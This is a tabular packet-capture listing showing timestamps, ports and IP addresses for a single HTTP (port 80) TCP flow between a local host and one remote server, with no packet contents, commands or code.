Jan 11, 2025 08:52:31.062046051 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062057018 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062071085 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062087059 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062118053 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062324047 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062347889 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062359095 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062381983 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062546968 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062558889 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062575102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062583923 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062722921 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062737942 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062752008 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062764883 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062778950 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062789917 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062792063 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062805891 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.062817097 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.062840939 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.063292027 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063407898 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063421011 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063435078 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063452005 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.063481092 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.063540936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063555002 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063568115 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063584089 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063591003 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.063630104 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.063781977 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063793898 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063807011 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063819885 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.063829899 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.063863039 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.064336061 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064352036 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064367056 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064419031 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.064445019 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064455986 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064469099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064482927 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.064482927 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064519882 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.064626932 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064640045 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.064665079 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066107988 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066140890 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066152096 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066159964 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066190958 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066241026 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066255093 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066298962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066298962 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066318989 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066333055 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066364050 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066492081 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066513062 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066525936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066530943 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066540003 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066554070 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066565037 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.066567898 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.066586018 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.067061901 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.067094088 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.067106962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.067120075 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.067162037 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.067218065 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.067229986 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.067241907 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.067266941 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.089512110 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089553118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089565039 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089577913 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089591980 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089605093 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089611053 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.089649916 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.089668989 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.089704990 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.089715004 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100269079 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100311041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100322008 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100359917 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.100363016 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100375891 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100393057 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.100431919 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.100449085 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100508928 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100522041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.100548029 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.124264002 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124308109 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124325037 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124347925 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124358892 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.124361038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124372005 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.124428034 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.124461889 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124474049 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.124526024 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.128398895 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128412008 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128423929 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128484964 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.128552914 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128566980 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128578901 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128592014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128598928 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.128627062 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.128753901 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128767014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128779888 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128793001 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.128822088 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.128961086 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128972054 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128983974 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.128998041 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.129020929 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.129031897 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.129065037 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.129079103 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.129121065 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.152749062 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152776957 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152791977 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152818918 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.152906895 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152918100 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.152919054 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152932882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152954102 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.152955055 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152966976 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.152975082 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153012037 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153112888 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153126955 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153140068 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153165102 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153259039 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153301001 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153318882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153332949 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153345108 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153358936 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153367043 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153394938 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153490067 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153502941 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153537035 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153610945 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153624058 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153635979 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153650045 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153661013 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153707027 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153736115 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153893948 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153908014 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153919935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153933048 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153934956 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153948069 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153958082 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.153966904 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153981924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.153990984 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154016018 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154258966 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154272079 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154288054 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154305935 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154407978 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154422045 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154434919 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154449940 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154474020 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154479027 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154575109 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154587984 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154599905 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154619932 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154620886 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154630899 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154644966 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154647112 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154654980 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154665947 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154671907 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154681921 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154697895 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154697895 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154711008 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154725075 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154733896 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154738903 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.154757977 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.154781103 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155375004 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155388117 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155400038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155412912 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155424118 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155432940 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155440092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155450106 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155453920 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155467033 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155478001 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155481100 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155493021 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155507088 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155519962 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155519962 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155534029 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155545950 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155549049 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155560970 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155567884 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155575991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155587912 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155591965 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155601978 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.155615091 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.155652046 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.156866074 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.156876087 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.156889915 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.156915903 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157000065 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157012939 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157025099 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157047033 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157103062 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157133102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157145023 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157155991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157170057 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157177925 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157208920 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157366991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157380104 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157392025 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157402992 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157417059 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157418013 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157449961 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.157572985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157583952 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.157614946 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.182054996 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182073116 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182094097 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182116985 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182128906 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182149887 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182163954 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182172060 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.182176113 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.182233095 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.192712069 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192745924 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192759991 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192806959 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.192835093 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.192887068 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192898989 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192912102 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192925930 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.192941904 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.192981958 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.216687918 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216707945 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216722965 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216738939 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216801882 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216808081 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.216815948 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216831923 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.216864109 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.216988087 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.217026949 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.220818043 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.220890045 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.220905066 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.220948935 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.220982075 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221000910 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221016884 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.221100092 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221112967 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221141100 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.221260071 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221271038 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221282959 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221292973 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.221297979 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221312046 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221321106 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.221327066 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221349001 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.221481085 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221496105 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.221519947 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.245069981 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245098114 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245111942 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245179892 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.245214939 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.245224953 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245238066 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245250940 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245281935 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.245362997 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245378017 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245445967 CET	49709	80	192.168.2.11	193.143.1.205
Jan 11, 2025 08:52:31.245481968 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245492935 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245507002 CET	80	49709	193.143.1.205	192.168.2.11
Jan 11, 2025 08:52:31.245518923 CET	49709	80	192.168.2.11	193.143.1.205
